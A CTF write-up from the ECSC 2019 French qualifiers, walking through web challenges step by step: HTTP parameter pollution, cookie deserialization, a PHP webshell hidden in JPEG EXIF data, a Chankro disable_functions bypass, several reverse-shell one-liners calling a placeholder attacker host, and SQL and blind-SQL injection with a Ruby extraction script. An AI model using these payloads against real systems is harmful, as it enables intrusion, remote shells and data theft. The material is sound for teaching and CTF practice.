ECSC 2019 Quals Team France - noraj

Table of contents
  1. 🔗Information
    1. 🔗CTF
  2. 🔗124 - PHP Sandbox - Web
  3. 🔗164 - Jack The Ripper - Web
  4. 🔗302 - Ceci n'est pas une pipe - Web
  5. 🔗150 - Scully (1) - Web
  6. 🔗355 - Scully (2) - Web
  7. 🔗243 - privesc101 - System
  8. 🔗288 - PHP Jail - Jail
  9. 🔗46 - Petites notes - Forensics
  10. 🔗43 - Not so FAT - Forensics

🔗Information

🔗CTF

  • Name : ECSC 2019 Quals Team France
  • Website : www.ecsc-teamfrance.fr
  • Type : Online
  • Format : Jeopardy (individual)

This is more my thoughts proceedings, than a concise write-up.

🔗124 - PHP Sandbox - Web

À vous de trouver les bons arguments pour lui parler.

http://challenges.ecsc-teamfrance.fr:8000/

  • http://challenges.ecsc-teamfrance.fr:8000/index.php?assert=noraj => Command arguments not found! => I guess it is not the right argument
  • http://challenges.ecsc-teamfrance.fr:8000/index.php?args=noraj => Only 'cat <file>' command allowed => so there is command execution, the right argument but wrong value
  • http://challenges.ecsc-teamfrance.fr:8000/index.php?args=cat%20/etc/passwd => preg_match() has just detected invalid characters! ¯\_(ツ)_/¯ => this will be about bypassing character filter
  • With fuzzing I found allowed char: . (dot), / (slash), _ (underscore), | (pipe)

As we can't use space we can split the parameters by using HPP (HTTP Parameter pollution).

Note: Beginners, you can read Testing for HTTP Parameter pollution (OTG-INPVAL-004) from OWASP.

So with HPP let's read the source code:

http://challenges.ecsc-teamfrance.fr:8000/index.php?args[1]=cat&args[2]=index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

// L2hvbWUvZmxhZy50eHQ=

if (isset($_GET['args'])){

if(!is_array($_GET['args'])){
$args = array();
$args[] = $_GET['args'];
} else {
$args = $_GET['args'];
}

for ( $i=0; $i<count($args); $i++ ){
if (!preg_match('/^[\w\/|\.]*$/', $args[$i])){
die('<b>preg_match() has just detected invalid characters! ¯\_(ツ)_/¯</b>');
}
}
} else {
die('<b>Command arguments not found!</b>');
}

$command = implode(" ", $args);

if(preg_match('/^(\/bin\/cat|cat) +[\w\.\/]*$/',$command)){
echo passthru($command . " 2>&1");
} else {
echo 'Only \'cat &lt;file&gt;\' command allowed';
}

A suspicious base64 HTML comment:

1
2
$ printf %s 'L2hvbWUvZmxhZy50eHQ=' | base64 -d
/home/flag.txt

Ok the flag is stored here:

index.php?args[1]=cat&args[2]=/home/flag.txt => ECSC{ae822cf59d26401b64f20ee9af8fd4cf31da79ab}

🔗164 - Jack The Ripper - Web

Connectez-vous à l'adresse http://challenges.ecsc-teamfrance.fr:8002

Let's see the piece of code in index.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Restore session
if(isset($_COOKIE['user'])) $u = unserialize($_COOKIE['user']);
else $u = new User();

// A new login?
if(isset($_POST['login'], $_POST['password'])) {

if($u->login($_POST['login'], $_POST['password'])) {

setcookie('user', serialize($u));
presult('Hello '.htmlspecialchars($u->username).', here is your flag: '.file_get_contents('includes/__flag'));

} else {
presult('Invalid login/password combination');
}
}

We can immediately see the un-secure un-serialize for the cooke user.

Now take a look at core.class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class Core {

public function __construct($debug = False) {

$this->debug = $debug;
$this->con = NULL;
$this->setupDB();
}


public function doUserLogin($login, $password) {
if(is_null($this->con)) return NULL;

$pLogin = $this->con->escapeString($login);
$q = $this->con->query("SELECT id, login, password FROM users WHERE login='{$pLogin}'");

if(!$q) $row = False;
else $row = $q->fetchArray();

// num_rows != 1
if($row===FALSE || $q->fetchArray()!==FALSE) return NULL;

if($this->debug) {

echo 'Found user record:';
var_dump($row);
}

return (md5($password)==$row['password']) ? $row : NULL;
}

We can see the debug feature that is disabled in the code that could leak information, we'll try later to enable it back with a crafted serialized payload. The password is not checked in the SQL query directly, instead the check is done after the entries are fetch so just giving a valid username will let us get the password hash in the debug data.

Let's make a local PoC to craft the serialized object.

Create a void database:

1
2
3
4
$ sqlite3 tmp/jtr.db
SQLite version 3.28.0 2019-04-16 19:49:53
Enter ".help" for usage hints.
sqlite> CREATE TABLE users(id INTEGER PRIMARY KEY, login TEXT NOT NULL, password TEXT NOT NULL);

Install dependencies for sqlite (ArchLinux):

sudo pacman -S php-sqlite

Configure PHP to enable sqlite connector:

/etc/php/php.ini

1
2
extension=pdo_sqlite
extension=sqlite3

Quick PHP PoC:

1
2
3
4
5
6
7
8
<?php

require 'user.class.php';

$obj = new User();
$serialized = serialize($obj);
echo $serialized;
?>

Obtain a serialized object:

1
2
$ php unserialize.php
O:4:"User":2:{s:4:"core";O:4:"Core":2:{s:5:"debug";b:0;s:3:"con";O:7:"SQLite3":0:{}}s:8:"username";N;}

Set debug and set a user (admin):

O:4:"User":2:{s:4:"core";O:4:"Core":2:{s:5:"debug";b:1;s:3:"con";O:7:"SQLite3":0:{}}s:8:"username";s:5:"admin";}

URL-encode the serialized object and send it in the user cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: challenges.ecsc-teamfrance.fr:8002
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://challenges.ecsc-teamfrance.fr:8002/
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: user=O%3a4%3a"User"%3a2%3a{s%3a4%3a"core"%3bO%3a4%3a"Core"%3a2%3a{s%3a5%3a"debug"%3bb%3a1%3bs%3a3%3a"con"%3bO%3a7%3a"SQLite3"%3a0%3a{}}s%3a8%3a"username"%3bs%3a5%3a"admin"%3b}
Connection: close
Upgrade-Insecure-Requests: 1

login=admin&password=pass

We obtain the debug data with the user's password hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
Found user record:array(6) {
[0]=>
int(1)
["id"]=>
int(1)
[1]=>
string(5) "admin"
["login"]=>
string(5) "admin"
[2]=>
string(32) "34819d7beeabb9260a5c854bc85b3e44"
["password"]=>
string(32) "34819d7beeabb9260a5c854bc85b3e44"
}
...

Let's crack this md5 (32 char length so mostly it) hash on https://hashkiller.co.uk/Cracker/MD5

Result: 34819d7beeabb9260a5c854bc85b3e44 MD5 mypassword

Let's authenticate to get the flag:

1
2
$ curl -X POST challenges.ecsc-teamfrance.fr:8002 --data 'login=admin&password=mypassword' -s | grep ECSC
<div class="result">Hello admin, here is your flag: ECSC{3ab6be9c0d274e7eeac6f20f4bee7d8b26303e44}

🔗302 - Ceci n'est pas une pipe - Web

Ça se passe par ici : http://challenges.ecsc-teamfrance.fr:8001

This is about unsecure file upload.

We can use whatever we want as extension or MIME type but there is a server side check on the file type so we need to send an image.

If we concatenate a PHP web shell to an image and upload it, we can see the stored image was modified and the webshell removed.

So either it was converted with a library like ImageMagick or trailing data was removed by another means.

But sending a minimal JPEG header (ff d8 ff e0 0a) + HTML content + PHP content, only the PHP content is removed so it may be a filtering regex with <?php, but <?= is removed too.

<script language="php"> is not removed but didn't work (it was removed in PHP 7.0.0).

But if PHP code is embedded inside a valid EXIF property, it seems kept.

Let's craft a PHP wbeshell:

1
$ weevely generate norajpass agent.php

So we get a weevely agent like that:

1
2
3
4
5
6
7
8
9
10
11
<?php
$Y='$j=0;($^bj<$c&&$^bi<$l);$j^b++,$^bi++){$o.^b=$t{$^bi}^$k^b{$j^b^b};}}ret^burn $o;}i^bf(@preg_ma';
$o='();@ob_end_clean();$r^b=@b^ba^bse64_en^bcode(^b@x(@gz^b^bcompress($o),$k));pr^bint("^b$p$k^bh$r$kf");}';
$n='^bal^b(@gzu^bncom^bpress(@x^b(@base^b64_decode($m[1^b^b])^b,$k)));$o=@ob_g^be^bt_co^bnte^bn^bts';
$b='$k="3^bc^bb18efc"^b;^b$kh="0f497c8^b3fd^b1b";$kf="3c^b^b7^b05cbbe88e";$^bp="Sxe^bRUDxbc^bxU7LASJ";^b';
$v=str_replace('el','','creleaelelte_felunceltielon');
$e='tc^bh("/$k^b^bh^b(.+)^b$kf/",@file^b^b_get_contents("php:^b//inp^but"),$m)=^b=1){@^b^bob_sta^brt();@ev';
$A='function^b x($t,$^bk){$c=s^btrlen^b^b($k)^b;$l=strlen($t)^b;$^bo="";fo^br($i=^b0;$i<$l;)^b{f^bor(';
$D=str_replace('^b','',$b.$A.$Y.$e.$n.$o);
$K=$v('',$D);$K();
?>

Let's one-line it:

1
2
$ cat agent.php| tr '\n' ' '
<?php $Y='$j=0;($^bj<$c&&$^bi<$l);$j^b++,$^bi++){$o.^b=$t{$^bi}^$k^b{$j^b^b};}}ret^burn $o;}i^bf(@preg_ma'; $o='();@ob_end_clean();$r^b=@b^ba^bse64_en^bcode(^b@x(@gz^b^bcompress($o),$k));pr^bint("^b$p$k^bh$r$kf");}'; $n='^bal^b(@gzu^bncom^bpress(@x^b(@base^b64_decode($m[1^b^b])^b,$k)));$o=@ob_g^be^bt_co^bnte^bn^bts'; $b='$k="3^bc^bb18efc"^b;^b$kh="0f497c8^b3fd^b1b";$kf="3c^b^b7^b05cbbe88e";$^bp="Sxe^bRUDxbc^bxU7LASJ";^b'; $v=str_replace('el','','creleaelelte_felunceltielon'); $e='tc^bh("/$k^b^bh^b(.+)^b$kf/",@file^b^b_get_contents("php:^b//inp^but"),$m)=^b=1){@^b^bob_sta^brt();@ev'; $A='function^b x($t,$^bk){$c=s^btrlen^b^b($k)^b;$l=strlen($t)^b;$^bo="";fo^br($i=^b0;$i<$l;)^b{f^bor('; $D=str_replace('^b','',$b.$A.$Y.$e.$n.$o); $K=$v('',$D);$K(); ?>

Let's add the agent in an EXIF property of the image:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ exiftool -documentname="$(cat agent.php| tr '\n' ' ')" exploit.jpg
1 image files updated

$ exiftool exploit.jpg
ExifTool Version Number : 11.30
File Name : exploit.jpg
Directory : .
File Size : 5.4 kB
File Modification Date/Time : 2019:05:19 00:28:52+02:00
File Access Date/Time : 2019:05:19 00:28:52+02:00
File Inode Change Date/Time : 2019:05:19 00:28:52+02:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
Document Name : <?php $Y='$j=0;($^bj<$c&&$^bi<$l);$j^b++,$^bi++){$o.^b=$t{$^bi}^$k^b{$j^b^b};}}ret^burn $o;}i^bf(@preg_ma'; $o='();@ob_end_clean();$r^b=@b^ba^bse64_en^bcode(^b@x(@gz^b^bcompress($o),$k));pr^bint("^b$p$k^bh$r$kf");}'; $n='^bal^b(@gzu^bncom^bpress(@x^b(@base^b64_decode($m[1^b^b])^b,$k)));$o=@ob_g^be^bt_co^bnte^bn^bts'; $b='$k="3^bc^bb18efc"^b;^b$kh="0f497c8^b3fd^b1b";$kf="3c^b^b7^b05cbbe88e";$^bp="Sxe^bRUDxbc^bxU7LASJ";^b'; $v=str_replace('el','','creleaelelte_felunceltielon'); $e='tc^bh("/$k^b^bh^b(.+)^b$kf/",@file^b^b_get_contents("php:^b//inp^but"),$m)=^b=1){@^b^bob_sta^brt();@ev'; $A='function^b x($t,$^bk){$c=s^btrlen^b^b($k)^b;$l=strlen($t)^b;$^bo="";fo^br($i=^b0;$i<$l;)^b{f^bor('; $D=str_replace('^b','',$b.$A.$Y.$e.$n.$o); $K=$v('',$D);$K(); ?>
X Resolution : 38
Y Resolution : 38
Resolution Unit : cm
Y Cb Cr Positioning : Centered
Image Width : 256
Image Height : 256
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 256x256
Megapixels : 0.066

So we can upload the webshell with a .php extension and application/x-php as MIME type.

But it fails, maybe the webshell is too exotic.

Let's try something simpler just for confirmation:

1
2
$ exiftool -documentname='<?php echo str_repeat("-=", 10); ?>' exploit.jp
1 image files updated

I can see the code executed:

But when using shell_exec or system I get nothing, they must be filtered (so it was not <?php that was).

exiftool -documentname='<?php print_r(scandir(".")); ?>' exploit.jpg works but nothing interesting in the current directory.

But print_r(scandir(".")); is blocked (may be by a restrictive open_basedir).

Anyway I should have tried it first: phpinfo();

Disabled functions are:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
create_function
curl_exec
curl_multi_exec
exec
imap_open
parse_ini_file
passthru
pcntl_alarm
pcntl_exec
pcntl_fork
pcntl_get_last_error
pcntl_getpriority
pcntl_setpriority
pcntl_signal
pcntl_signal_dispatch
pcntl_sigprocmask
pcntl_sigtimedwait
pcntl_sigwaitinfo
pcntl_strerror
pcntl_wait
pcntl_waitpid
pcntl_wexitstatus
pcntl_wifexited
pcntl_wifsignaled
pcntl_wifstopped
pcntl_wstopsig
pcntl_wtermsig
popen
preg_replace
preg_replace_callback
proc_open
shell_exec
show_source
system

And open_basedir is /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e:/usr/share/php/chall:/tmp.

Let's try to use backticks:

1
2
$ exiftool -documentname='<?php $a=$_GET["cmd"];echo `$a`; ?>' exploit.jpg
1 image files updated

Doesn't work either.

get_defined_functions list all internal and user defined functions available.

So I tried with Chankro that use LD_PRELOAD to bypass disable_functions and open_basedir.

Seems 100% the right way in this case.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ chankro --arch 64 --input /tmp/script.sh --output chankro.php --path /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e


-=[ Chankro ]=-
-={ @TheXC3LL }=-


[+] Binary file: /tmp/script.sh
[+] Architecture: x64
[+] Final PHP: chank.php


[+] File created!

Let's read some files:

  • /usr/share/php/chall/prepend.php: <?php ini_set('open_basedir', dirname($_SERVER['SCRIPT_FILENAME']) . ':/usr/share/php/chall:/tmp');
  • /tmp/myprepend.php: <?php echo "ok"; ini_set("open_basedir","/var/www"); ?>

Let's try some stuff (and fail):

1
2
3
<?php echo "start"; ini_set("open_basedir",dirname($_SERVER["SCRIPT_FILENAME"]) . "/var/www"); print_r(scandir("/var/www")); print_r(scandir("/var/www/html")); echo "end"; ?>
<?php echo "start"; ini_set("display_errors", "1"); ini_set("disable_functions",""); ini_set("open_basedir", NULL); echo shell_exec("id"); echo "end"; ?>
<?php echo "start"; ini_set("display_errors", "1"); ini_set("open_basedir", NULL); print_r(scandir("/var/www/html")); echo "end"; ?>

Let's get back to Chankro and embedded the payload in EXIF metadata:

1
exiftool -documentname="$(cat chankro.php| tr '\n' ' ')" exploit.jpg

=> Chankro => manual edit to add ini_set("display_errors", "1"); => Upload => Exec => no error display, so it is actually executed but we don't have the output, so let's copy files in the upload folder instead.

The script paylaod for Chankro:

1
2
3
#!/bin/sh
cp /etc/passwd /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/
ls -lhAR /var/www > /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/listdir.txt

=> Chankro => Exiftool => Upload => Exec => listing the upload folder (with a previous scandir payload) and listdir.txt and passwd are here.

Let's see the files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/var/www:
total 8.0K
drwxr-xr-x 1 root root 4.0K May 18 09:39 html

/var/www/html:
total 56K
-r--r--r-- 1 root root 0 May 18 09:39 .htaccess
-rwxr-xr-x 1 root root 268 May 18 09:39 config.php
-rwxr-xr-x 1 root root 9.0K May 18 09:39 index.php
-rwxr-xr-x 1 root root 4.9K May 18 09:39 login.php
-rwxr-xr-x 1 root root 5.7K May 18 09:39 register.php
-rwxr-xr-x 1 root root 26 May 18 09:39 robots.txt
drwxr-xr-x 1 root root 4.0K May 18 09:39 static
-rwxr-xr-x 1 root root 97 May 18 09:39 todo.php
drwx-wx-wx 1 root root 12K May 19 19:57 upload

/var/www/html/static:
total 8.0K
drwxr-xr-x 1 root root 4.0K May 18 09:39 css
drwxr-xr-x 1 root root 4.0K May 18 09:39 js

/var/www/html/static/css:
total 120K
-rwxr-xr-x 1 root root 119K May 18 09:39 bootstrap.min.css

/var/www/html/static/js:
total 128K
-rwxr-xr-x 1 root root 37K May 18 09:39 bootstrap.min.js
-rwxr-xr-x 1 root root 85K May 18 09:39 jquery.min.js
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

Let's copy more files!

1
2
3
4
#!/bin/sh
cp /var/www/html/.htaccess /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/
cp /var/www/html/config.php /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/
cp /var/www/html/todo.php /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/

Still the same method:

=> Chankro => Exiftool => Upload => Exec => highlight_file on the copied files:

1
exiftool -documentname='<?php highlight_file(".htaccess"); highlight_file("config.php"); highlight_file("todo.php"); ?>' exploit.jpg

config.php and todo.php

1
2
3
4
5
6
7
8
9
10
11
<?php

/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'mariadb');
define('DB_USERNAME', 'notes');
define('DB_PASSWORD', 'N9mpnvEyTtaGxfsznEBh');
define('DB_NAME', 'notes');

?># ls -l /usr/sbin/sendmail<br>
-rwxr-xr-x 1 root root 16464 janv. 13 2018 /usr/sbin/sendmail

(sendmail for Chankro with mail())

Let's try to localize the flag:

1
2
#!/bin/sh
grep -ri ecsc /var/www/ > /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/flag.txt

=> Chankro => Exiftool => Upload => Exec => highlight_file

=> nothing :(

Grrr, try to get the whole web server repository:

1
2
3
#!/bin/sh
tar cf /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/html.tar /var/www/html/
cp -r /var/www/html /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/

http://challenges.ecsc-teamfrance.fr:8001//upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/html.tar

Stop fooling me around!!!!! Time to reverse shell! (or try to)

Basic bash reverse shell: bash -i >& /dev/tcp/x.x.x.x/9999 0>&1

1
2
#!/bin/sh
bash -i >& /dev/tcp/x.x.x.x/9999 0>&1

Obviously blocked !

Try to localize teh flag again:

1
2
#!/bin/sh
ls -lhRA /home > /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/listing2.txt

http://challenges.ecsc-teamfrance.fr:8001/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/listing2.txt

1
2
3
/home:
total 12K
--wx--x--x 1 root root 8.2K May 18 09:39 flag

Nahhhhhhhhhh ! No way!!!! It's not the end, it's an executable we can't read it.

(From that point I could have executed the binary and redirect the output in a file but I really wanted a reverse shell).

More reverse shell tries:

1
2
#!/bin/sh
php -r '$sock=fsockopen("x.x.x.x",53333);exec("/bin/sh -i <&3 >&3 2>&3");'

I was stupid because the script was containing exec but fsockopen worked and I received the conection:

1
2
$ nc -vnlp 53333
Connection from 51.91.7.35:55744

Let's look at https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md

1
2
#!/bin/sh
0<&196;exec 196<>/dev/tcp/x.x.x.x/53333; sh <&196 >&196 2>&196

Whyyyyyyyyy now I'm not getting a shell? It works if I try it from my machine.

Let's try another!

1
2
#!/bin/sh
exec /bin/sh 0</dev/tcp/x.x.x.x/53333 1>&0 2>&0

(Probably because on Debian 9 sh is a symbolic link to dash)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/awk -f
BEGIN {
s = "/inet/tcp/0/x.x.x.x/53333"
while(42) {
do{
printf "shell>" |& s
s |& getline c
if(c){
while ((c |& getline) > 0)
print $0 |& s
close(c)
}
} while(c != "exit")
close(s)
}
}

Still nop!

1
2
3
#!/bin/sh
ls -lh /bin > /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/bin.txt
ls -lh /usr/bin >> /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/bin.txt

That way I saw perl is here! So let's use a /bin/sh-independant version of a perl reverse shell with fork (source):

1
2
#!/bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:53333");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Yes!!!!!!!!!!!!!!! I got a reverse shell! Even if not required for this challenge!!!

Now let's find our way /home! (I kinda like this joke)

Using ps I see I'm the only one having a reverse shell! (or I think so)

1
2
3
4
5
6
7
$ ls -l /home
total 12
--wx--x--x 1 root root 8296 May 18 09:39 flag
$ /home/flag
ECSC{f12d9ff3a017065d4d363cea148bef8bfffacc31}
$ file /home/flag
/home/flag: executable, regular file, no read permission

What a story! It wasn't realistic to put the flag in /home since you can see in /etc/passwd there is no users... anyway that's CTF.

🔗150 - Scully (1) - Web

Notre développeur web n'est pas très doué en matière de sécurité... saurez-vous afficher le flag afin que nous puissions lui montrer qu'il faut faire des efforts ?

Le challenge est disponible à l'adresse http://challenges.ecsc-teamfrance.fr:8003

Aucun bruteforce n'est nécessaire

There is a script: http://challenges.ecsc-teamfrance.fr:8003/static/script.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//Using our API

function login(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;

var dat = {'username':username, 'password':password};

$.ajax('/api/v1/login/',{
method: 'POST',
data: JSON.stringify(dat),
dataType: "json",
contentType: "application/json",
}).done(function(res){

if (res['status'] == 'success'){
$("#stat").html('<b>Successful Login. Here is your flag: ');
$("#stat").append(res['flag']);
$("#stat").append('</b>');
}
else{
$("#stat").html('<b>Login Failed</b>');
}

}).fail(function(err){
$("#stat").html(err);
});
}

$(document).ready(function(){

$("#navbar ul li a").on('click', function(event){
event.preventDefault();
var page = $(this).attr("href");

$("#main").load(page);
});
});

The JSON auth let me think about NoSQLi: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL Injection

So let's try to send {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}} but I get an error:

Same with {"username": "admin", "password": {"$ne": "bar"}}.

1
'dict' object has no attribute 'encode'

Let's see if it is the password of the account with a blind NoSQL injection.

But no way, you always have this message even with invalid credentials, injection of nested JSON structure just made the JSON parser on the server crash so let's try the basic SQLi:

{"username": "admin' OR 1=1-- -", "password": "pass"} => {"flag":["ECSC{889b71de2017ca8074f49d3f853950e147591b38}"],"status":"success"}

Too EZ, I should have tried it first.

🔗355 - Scully (2) - Web

Notre developpeur web a fait quelques efforts sur la partie authentification et les informations de la base ne sont plus exposées directement sur la page d'accueil ! Cependant il > semblerait que cela ne soit pas suffisant... saurez-vous retrouver le flag ?

Le challenge est disponible à l'adresse http://challenges.ecsc-teamfrance.fr:8004

Toutes les connexions sont journalisées et l'utilisation d'un outil tel que sqlmap, générant un très grand nombre de connexions, pourrait être considéré comme un abus et faire l'objet de sanctions.

Same as before but without direct output, so let's go with Inferential SQLi also known as Blind SQLi.

We can do a simple Boolean-based Blind SQLi:

  • {"username":"admin' and 1=1-- -","password":"noraj"} => {"status":"success"}
  • {"username":"admin' and 1=7-- -","password":"noraj"} => {"status":"fail"}
1
curl -X $'POST' -H 'Content-Type: application/json' --data $'{\"username\":\"admin\' and 1=7-- -\",\"password\":\"noraj\"}' 'http://challenges.ecsc-teamfrance.fr:8004/api/v1/login/'

I already did Boolean-based Blind SQL injection in the past with ruby + curb or ruby without external dependencies. As I'm lazy I use SQLmap when I can but here it is forbidden.

{"username":"admin' UNION SELECT 1,1,name FROM sqlite_master WHERE type='table'-- -","password":"noraj"} this payload works so we have an SQLite DB.

I should also have take a look at PayloadsAllTheThings for DBMS Identification.

More about SQLite injection https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/SQLite Injection.md

The table name is nor user nor users so let's use SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'.

In fact no, let's be lazy and use more guessing {"username":"admin' UNION SELECT 1,1,flag FROM flag-- -","password":"noraj"} => success so the table and column are both flag.

We can optimize the time to get the password because we know that the flag is ECSC{sha1(string)} and sha1 hashes contains only lower letters and digits (hex charset) that is 40 chars long.

My awesome ruby (everybody prefers jewels than snake) script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
require 'net/http'
require 'json'
# uri is already require by net/https

uri = URI('http://challenges.ecsc-teamfrance.fr:8003/api/v1/login/')

req = Net::HTTP::Post.new(uri.path, initheader = {'Content-Type' =>'application/json'})

http = Net::HTTP.new(uri.host, uri.port)

<<-DOC
Check is the payload expression is true or false.
DOC

def check_expression(uri, http, req, payload)
req.body = {'username' => payload, 'password' => 'noraj'}.to_json
res = http.request(req)
return /success/.match?(res.body)
end

<<-DOC
Get the length of the string.
There is two level of increment: 10 by 10 (to be faster) and then 1 by 1 (to get the exact size).
DOC

def get_length(uri, http, req, payload)
i = 10
while true
if check_expression(uri, http, req, payload % i)
(i-10..i).each do |j|
if check_expression(uri, http, req, payload % j)
#puts "Found length = #{j}"
return j-1
end
end
end
i += 10
end
end

<<-DOC

DOC

def read_string(uri, http, req, length, wanted)
content = ""
ecsc_flag_charset = ["a", "b", "c", "d", "e", "f", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "E", "C", "S", "{", "}"]
puts "Beginning to retrive content"
while content.length < length
ecsc_flag_charset.each do |c|
tmp = content + c
# SQLite tip: 1st position in a string is 1
payload = "' or substr((SELECT #{wanted} FROM flag LIMIT 1), #{tmp.length}, 1) == \"#{tmp[tmp.length-1]}\"-- -"
if check_expression(uri, http, req, payload)
content += c
puts content
break
elsif c == "\n"
content += "*" # "*" if no ecsc_flag_charset found else we could get an infinite loop
end
end
end
return content
end

# Get flag length
payload = "admin' and length((SELECT flag FROM flag LIMIT 1)) < %i-- -"
flag_length = get_length(uri, http, req, payload)
puts "flag length: #{flag_length}"
# length: 46

name = read_string(uri, http, req, flag_length, 'flag')
puts 'Flag: '.concat(name)

Exec time:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
$ ruby tmp/blind.rb
flag length: 46
Beginning to retrive content
E
EC
ECS
ECSC
ECSC{
ECSC{8
ECSC{88
ECSC{889
ECSC{889b
ECSC{889b7
ECSC{889b71
ECSC{889b71d
ECSC{889b71de
ECSC{889b71de2
ECSC{889b71de20
ECSC{889b71de201
ECSC{889b71de2017
ECSC{889b71de2017c
ECSC{889b71de2017ca
ECSC{889b71de2017ca8
ECSC{889b71de2017ca80
ECSC{889b71de2017ca807
ECSC{889b71de2017ca8074
ECSC{889b71de2017ca8074f
ECSC{889b71de2017ca8074f4
ECSC{889b71de2017ca8074f49
ECSC{889b71de2017ca8074f49d
ECSC{889b71de2017ca8074f49d3
ECSC{889b71de2017ca8074f49d3f
ECSC{889b71de2017ca8074f49d3f8
ECSC{889b71de2017ca8074f49d3f85
ECSC{889b71de2017ca8074f49d3f853
ECSC{889b71de2017ca8074f49d3f8539
ECSC{889b71de2017ca8074f49d3f85395
ECSC{889b71de2017ca8074f49d3f853950
ECSC{889b71de2017ca8074f49d3f853950e
ECSC{889b71de2017ca8074f49d3f853950e1
ECSC{889b71de2017ca8074f49d3f853950e14
ECSC{889b71de2017ca8074f49d3f853950e147
ECSC{889b71de2017ca8074f49d3f853950e1475
ECSC{889b71de2017ca8074f49d3f853950e14759
